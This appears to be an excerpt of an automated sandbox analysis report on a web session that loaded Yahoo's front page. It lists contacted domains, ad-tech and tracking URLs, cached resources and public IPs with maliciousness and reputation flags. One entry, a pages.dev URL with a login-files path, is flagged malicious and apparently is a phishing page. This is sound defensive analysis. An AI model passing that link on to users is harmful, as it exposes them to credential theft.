a.tribalfusion.com	104.18.24.173	true	false	high
spug-vac.pubmnet.com	8.28.7.84	true	false	unknown
io.narrative.io	52.22.57.218	true	false	high
sb.scorecardresearch.com	18.160.10.96	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://trc.taboola.com/sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=c1104da8-8b46-4cf5-be20-49100dc0f27c&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}	false		high
https://udc.yahoo.com/v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1704929230338&yhlClientVer=3.53.38&yhlRnd=PEsKEXtMB1vH0xtU&yhlCompressed=3	false		high
https://cms.analytics.yahoo.com/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=213320604757009326690&gdpr=&gdpr_consent=	false		high
https://pixel.tapad.com/idsync/ex/receive/check?partner_id=3371&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4	false		high
https://s.yimg.com/aaq/wf/wf-form-1.34.5-modern.js	false		high
https://ups.analytics.yahoo.com/ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external	false		high
https://sync.1rx.io/usersync/tradedesk/bd6a219c-2538-477b-90ee-6d20c7860c4b	false		high
https://s.yimg.com/aaq/wf/wf-sticky-1.2.5-modern.js	false		high
https://simage2.pubmatic.com/AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:849a4113-d09c-4482-ae21-8f29dfa74f3d&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw	false		high
https://i.liadm.com/s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw	false		high
https://ups.analytics.yahoo.com/ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN	false		high
https://hb.yahoo.net/cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true	false		high
https://s.yimg.com/pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css	false		high
https://s.amazon-adsystem.com/dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&redir=true&gdpr=0&gdpr_consent=&dcc=t	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent=	false		high
https://service.idsync.analytics.yahoo.com/sp/v0/pixels?gdpr=false&euconsent=&us_privacy=1YNN&gpp=DBAA&gppSid=-1&referrer=https%3A%2F%2Fopus.analytics.yahoo.com%2Ftag%2Fopus-frame.html%3Freferrer%3Dhttps%3A%2F%2Fwww.yahoo.com%2F%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2	false		high
https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEPI9hVJH5w22DLuOR_CuGrs&google_cver=1	false		high
https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AABsm07LPlAAABMLLoldYg&gdpr=0&gdpr_consent=	false		high
https://sync.technoratimedia.com/services?uid=AABsm07LPlAAABMLLoldYg&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&gdpr=0	false	Avira URL Cloud: safe	unknown
https://sync.targeting.unrulymedia.com/csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005	false		high
about:blank	false	Avira URL Cloud: safe	low
https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ	false		high
https://hb.yahoo.net/cksync.php?cs=1&vsid=3479308310180275000V10&type=ctn&refUrl=&vid=49292349683479308310180275000V10&ovsid=3eb4f1d28af642b8a97d60a85e0f7108&axid_e=&y=null&gdpr=0	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233	false		high
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	false	URL Reputation: safe	unknown
https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=0&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1	false		high
https://crb.kargo.com/api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:d579659f-27da-4200-92f9-660cb89fa4ac&gdpr=0&gdpr_consent=	false		high
https://securepubads.g.doubleclick.net/pagead/adview?ai=Cylub1CefZfyIAYPr0_wP_9298AqjprHLbIXIn6mtEMCNtwEQASAAYMmGgIDQJIIBF2NhLXB1Yi0yMzA1MzA0OTk5MTg4NjUzyAEJ4AIAqAMByAMCqgSqAk_QU_cO6ugHxgXt_rjXfm54JwtwPzK__4J3qleQh0T4rFES9Fcokcpa1IrhxEJLqUpQtco521q6z6wWr2Fm2B2KOEaGvjGDw-IQOalzRoyl4FPVitwIR8piAE2Nr3iOKssNiji28bGJ08mPVHgX-v_qpbsS7ZXx36A83_oBXj95v_4oUq-9ah-EaKM89TtHJJJ1jcv9yp_LbCwO3SBc1kyO2NeLs1LPTWDSUcUFsl_uh6dzCVQf3DNuNJZL6kybn1AMNlmbgYMly2y607QpWv_GwxYQJPxgYaqkFmIQh_CXq26yIRwNyr1yLHeAXnk4Qh8SfIvdqv4yuJXwyjHjjH73EEE7HquI7idIV3nvep3CGwafM45jS1k6nHgw52pGKXVqJWQbHlYFLw3gBAGABvbumo7HreyiaKAGIagHpr4bqAeW2BuoB6qbsQKoB4OtsQKoB_-esQKoB9-fsQLYBwDSCB0IgGEQATICigI6BIBAgEBIvf3BOljr9-ir_NODA4AKA_oLAggBgAwB4g0TCJzE6av804MDFYP1lAkd_24PrtAVAYAXAbIXHQobEhRwdWItMjMwNTMwNDk5OTE4ODY1Mxiaq5AB&sigh=9HdD3e5hsLY&uach_m=%5BUACH%5D&cid=CAQSTgAvHhf_CuTml4XjNhrGH-EvH6bmxMeJVbHet60GxZyZiI2P7gJs8_0p3MsS0F6QTGYvkeECjMFC4tFOQ35mixvirlysVV03TtfyIYOfmBgB&cbvp=2&vis=1	false		high
https://securepubads.g.doubleclick.net/pcs/view?xai=AKAOjsuym782MWPdiKFwJckasVqUeeF5zFzt8rVCU47s1YAjifEpbIgmuJBFsIhEtr9GrcqnGVAaridz3JM5bcxK0Hk94ggudYZBGCtylhhXXhu_hs8UC3RzkI77EJCl6ttywzR8QPx4yeVJLswUzlfgNzOlUtTr6AXdh7jbuymxkDyQonOhLk6gdt6WMWBRPVjJe03GsGd_C7SQkRXNXo0rdB8JuWY_mhkC_buMTeXba09fxVvMrDGKuoxD-rxRkkMFIzY-kf3Ca6ebQ6iZogbcBRCeG5aOfPtWwUb7RlhlWI_NRDhiAT4lortn9uInut3gBdkXtU5zq92OdPcC5kEx7FGeGwB4Lfg6Cc7xCF3nXTNg11t01zbSrUuv_tTrJ-YUdzc-T3odAMwSW6lEzii3msjvtA&sai=AMfl-YTFcRS98GsOeCowYPdqg_mT-gFxLCWUygYSFvY_R9q8GzzWndhRFelFqN25WOZ3a4IAYZ3KoOb8tFM9nJs8g9igCCfK4UcNIWooB1VR9__2-4-gYx9XoCID1d7woaRqjep9nl_LPyR1LhwBTpSxi7Q&sig=Cg0ArKJSzJHhorAfqU1EEAE&uach_m=%5BUACH%5D&adurl=	false		high
https://cm.g.doubleclick.net/pixel?google_nid=baidu_mediago&google_hm=22210ca7d904fe7322qnsv00lr8eukx3	false		high
https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=r1&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005	false		high
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc=	false		high
https://match.prod.bidr.io/cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp	false		high
https://noa.yahoo.com/p?s=2023538075&t=1704929236563&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MON2-iframe&isRefresh=false&loc=mid_right_c&renderCount=1&status=succeeded	false		high
https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=	false		high
https://sync.1rx.io/usersync2/pubmatic&gdpr=0&gdpr_consent=	false		high
https://s.amazon-adsystem.com/ecm3?ex=rubiconprojectHMT&id=Yid5ajjfTX6tVeYh4L78ow&gdpr=0	false		high
https://ups.analytics.yahoo.com/ups/58739/cms?partner_id=BLKAI&orig=ono	false		high
https://geo.yahoo.com/p?s=2023538075&t=1704929244140&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_MID_RIGHT_C_BRSTIME%22%3A6420%2C%22GAM_MID_RIGHT_C_FTIME%22%3A7894%2C%22GAM_MID_RIGHT_C_RTIME%22%3A17000%7D	false		high
https://s.yimg.com/uu/api/res/1.2/7qp2RE6CtwF.Mj3QKEaNog--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/good_housekeeping_561/a34205bd93de17f457530161dac24aea.cf.webp	false		high
https://www.yahoo.com/_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.52&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=2&src=notification-sw&code=info	false		high
https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C	false		high
https://noa.yahoo.com/p?s=2023538075&t=1704929259548&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MAST-iframe&isRefresh=false&loc=top_center&renderCount=0&status=failed	false		high
https://match.adsrvr.org/track/cmf/rubicon?gdpr=0&us_privacy=1YNN	false		high
https://s.yimg.com/cv/apiv2/weather-svg/RAIN_AND_SNOW.svg	false		high
https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%20AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&rnd=RND	false	Avira URL Cloud: safe	unknown
https://match.adsrvr.org/track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent=	false		high
https://contextual.media.net/cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP-	false		high
https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent=	false		high
https://hb.yahoo.net/checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8YHBJ3BJ0&prvid=25268%2C25224%2C25025%2C25146%2C25223%2C25300%2C25028%2C25027%2C25302%2C25269%2C25225%2C25304%2C25306%2C25141%2C25140%2C25220%2C25022%2C25021%2C25024%2C25145%2C25221%2C25060%2C25158%2C25235%2C25036%2C25278%2C25237%2C25159%2C25038%2C25118%2C25239%2C25117%2C25270%2C25072%2C25031%2C25030%2C25198%2C25274%2C25276%2C25071%2C25202%2C25003%2C25006%2C25204%2C25007%2C25208%2C25009%2C25282%2C25240%2C25284%2C25042%2C25088%2C25286%2C25241%2C25087%2C25043%2C25002%2C25288%2C25001%2C25243%2C25280%2C25059%2C25136%2C25135%2C25017%2C25137%2C25217%2C25019%2C25018%2C25219%2C25218%2C25292%2C25053%2C25097%2C25250%2C25052%2C25096%2C25294%2C25296%2C25134%2C25298%2C25091%2C25090%2C25290&itype=YHB&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN	false		high
https://hb.yahoo.net/checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014,25082,25113,25307,25308,25309,25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1	false		high
https://contextual.media.net/cksync.php?type=rbcn&ovsid=LR8EUG12-1F-5JG4&gdpr=0&gdpr_consent=undefined&us_privacy=1YNN	false		high
https://s.yimg.com/uu/api/res/1.2/mIZK08Gbjy8FWfYiN9Nhww--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/8d2ccbb0-afa2-11ee-bf64-8de956aacb32.cf.webp	false		high
https://s.amazon-adsystem.com/ecm3?id=LR8EUG12-1F-5JG4&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN	false		high
https://see-eim.pages.dev/login_files/loga#index?locale=en_US&page=product&y=PROD_ACCT	true		unknown
https://pixel-sync.sitescout.com/dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent=	false		high
https://s.yimg.com/aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.css	false		high
https://s.yimg.com/aaq/fp/js/tdv2-wafer-utils.customErrorHandler.bcda778b736c3a054af62f437b536e78.js	false		high
https://idsync.rlcdn.com/396846.gif?served_by=evergreen&partner_uid=2b9b95ab-54c6-063d-2348-37d056d15d4c	false		high
https://geo.yahoo.com/p?s=2023538075&t=1704929258527&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_TOP_CENTER_BRSTIME%22%3A6418%2C%22GAM_TOP_CENTER_FTIME%22%3A7893%2C%22GAM_TOP_CENTER_RTIME%22%3A31387%7D	false		high
https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-	false		high
https://s.yimg.com/uu/api/res/1.2/GSKHpm7nPq7fQKY_RgvSdA--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a407ad50-affc-11ee-b5ff-62a691ec49a4.cf.webp	false		high
https://us-u.openx.net/w/1.0/cm?id=9e0a35ea-c8e3-4b1b-9efa-4af6f54a373e&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&r=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D	false		high
https://prebid.media.net/rtb/prebid?cid=8CUQ66JUO	false		high
https://s.yimg.com/rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png	false		high
https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7582156461311061263	false		high
https://www.yahoo.com/caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc	false		high
https://securepubads.g.doubleclick.net/pcs/view?xai=AKAOjstC7FFNq17MEgQMfFzd_RebfWSNOrQijnPR4lMn43YibpJ9iOiymXyfKZdVwI8QG17IMIM1Ri0MdF1GfE-Z9iStaqvo2K9wD7v06wu6tJBPcbgVD4kk16p1zdu9Rr3Bvil2mDcRRzQvej0wj87ROBBM6vyO4pIbuYLITIbZILIm1_-we4n2r9DCs11BHOVjVGD0hVSfQv1q0k4jCYN0v_xlM9IUAgv3dEXxZe_nUgJ9OCj4RxN1MaxIk_YKPRPH-PDdpZJG3KtzOBCS2YNL5NRTxG7lDZwIhKCulUvhpBM_muFwX9BBp687wNNBGbIgl3M9IVK449a-9oOCjepDdtfJmSe3QODOg2bNKHKJ-0uyDA1wTD4b8itlfn9GBDHxtUrB3eDtCiWCnEgj94xirjdEeRxB&sai=AMfl-YQXVJXNrhpYksnFh-Js-YU8o0SKOby1CLYBkAI0ieZ4fJdbkX7bXBX1j10NkWAKHUCa2Gfe6SGe2rzCpULlvuyAhKygmlxHbVEhL89Bo3oBDnmhnMTQbdkj3X2NU3ZJL9xzvjeCw3MNY36CzzcLYTk&sig=Cg0ArKJSzNmJcgta_6T6EAE&uach_m=%5BUACH%5D&adurl=	false		high
https://noa.yahoo.com/p?s=2023538075&t=1704929260390&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&errorMessage=&id=sda-MAST-iframe&loc=top_center&renderCount=0&sourceType=native&status=succeeded	false		high
https://noa.yahoo.com/p?s=2023538075&t=1704929236452&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MAST-iframe&isRefresh=false&loc=top_center&renderCount=0&status=failed	false		high
https://matching.truffle.bid/sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID	false	URL Reputation: safe	unknown
https://tsdtocl.com/	false		unknown
https://s.yimg.com/aaq/wf/wf-scrollview-2.22.2-modern.js	false		high
https://s.yimg.com/uu/api/res/1.2/LVduRNN5Htm6KVA5NeoIkA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/f2b7229ea8bfdeacca21ad0593673f85.cf.webp	false		high
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=	false		high
https://hb.yahoo.net/cksync.php?cs=1&type=apx&ovsid=7367141199740274687&axid_e=	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-ExtraBold.woff)	chromecache_278.2.dr	false		high
https://px.owneriq.net/epm?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwN	chromecache_280.2.dr, chromecache_292.2.dr	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff)	chromecache_278.2.dr	false		high
https://s.yimg.com/ny/api/res/1.2/NT2_sYmN8h3VW7jKTcIrjg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MDtjZ	chromecache_303.2.dr	false		high
https://idsync.rlcdn.com/712188.gif?partner_uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_con	chromecache_280.2.dr, chromecache_292.2.dr	false		high
https://s.yimg.com/ny/api/res/1.2/2WehbWcuELW76qUVM3KB7w--/YXBwaWQ9aGlnaGxhbmRlcjt3PTEyNDI7aD04Mjg-/	chromecache_181.2.dr	false		high
https://s.yimg.com/ny/api/res/1.2/uq7vSgQy4PjIJK5pw5sfww--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtoPTY0MA--/	chromecache_181.2.dr	false		high
https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=QUYxQTMwQjAtMjRCOC00NzZFLUFFRDQtQkU	chromecache_268.2.dr	false		high
https://hb.yahoo.net/cksync.php?gpp=&gpp_sid=&gpp=&gpp_sid=&cs=1&vsid=3479308310	chromecache_305.2.dr	false		high
https://forms.dotdashmeredith.com/people-news-inline	chromecache_303.2.dr, chromecache_181.2.dr	false	Avira URL Cloud: safe	unknown
https://beacon.lynx.cognitivlabs.com/pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode	chromecache_280.2.dr, chromecache_446.2.dr, chromecache_292.2.dr	false	Avira URL Cloud: safe	unknown
https://s.yimg.com/zb/imgv1/3092ff53-0ab0-38e6-8d34-8636e8384b79/s_500x500	chromecache_326.2.dr	false		high
https://www.popularmechanics.com/flight/airlines/a40743383/metal-alloy-particles-db-cooper-identity/	chromecache_303.2.dr, chromecache_181.2.dr	false		high
https://t.co/EpANiLntEb	chromecache_180.2.dr, chromecache_326.2.dr	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2)	chromecache_278.2.dr	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.eot);src:url(https://s.yimg.com/cv/ae/	chromecache_278.2.dr	false		high
https://www.nytimes.com/	chromecache_303.2.dr, chromecache_181.2.dr	false		high
https://www.intouchweekly.com/posts/jill-duggar-hints-at-reason-for-estrangement-from-jim-bob/	chromecache_303.2.dr, chromecache_181.2.dr	false		high
https://s.yimg.com/ny/api/res/1.2/jue..XVRJguAYC6jYbXk7g--/YXBwaWQ9aGlnaGxhbmRlcjt3PTE0MDtoPTYw/http	chromecache_180.2.dr	false		high
https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Italic.eot);src:url(https://s.yimg.com/cv/ae/s	chromecache_278.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
35.194.66.159	um.simpli.fi	United States	15169	GOOGLEUS	false
74.119.119.139	gum.va1.vip.prod.criteo.com	United States	19750	AS-CRITEOUS	false
52.22.57.218	io.narrative.io	United States	14618	AMAZON-AESUS	false
38.91.45.7	m.deepintent.com	United States	174	COGENT-174US	false
18.160.10.96	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
104.18.24.173	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
38.68.201.140	unknown	United States	39988	INTELLIGENT-TECHNOLOGY-SOLUTIONSUS	false
34.95.69.49	i.clean.gg	United States	15169	GOOGLEUS	false
34.202.68.237	beap-weighted.gemini-native-aws-core-usm-prod.aws.oath.cloud	United States	14618	AMAZON-AESUS	false
172.253.115.106	unknown	United States	15169	GOOGLEUS	false
54.90.5.164	rtb.gumgum.com	United States	14618	AMAZON-AESUS	false
64.202.112.255	unknown	United States	22075	AS-OUTBRAINUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
66.218.87.15	noa-atsv2.media.g03.yahoodns.net	United States	26101	YAHOO-3US	false
147.28.146.89	dc13-prebid.a-mx.net	United States	3130	RGNET-SEARGnetSeattleWestinEE	false
3.226.188.133	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
151.101.193.44	unknown	United States	54113	FASTLYUS	false
52.72.126.126	unknown	United States	14618	AMAZON-AESUS	false
69.90.254.78	ums.acuityplatform.com	Canada	13768	COGECO-PEER1CA	false
172.253.62.84	accounts.google.com	United States	15169	GOOGLEUS	false
69.147.92.12	unknown	United States	14777	INKTOMI-LAWSONUS	false
69.147.92.11	edge.gycpi.b.yahoodns.net	United States	14777	INKTOMI-LAWSONUS	false
68.67.160.76	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
3.229.81.23	unknown	United States	14618	AMAZON-AESUS	false
151.101.1.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
68.67.160.75	unknown	United States	29990	ASN-APPNEXUS	false
107.178.254.65	pippio.com	United States	15169	GOOGLEUS	false
72.251.229.176	rtb.adgrx.com	United States	29791	VOXEL-DOT-NETUS	false
100.25.25.103	rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
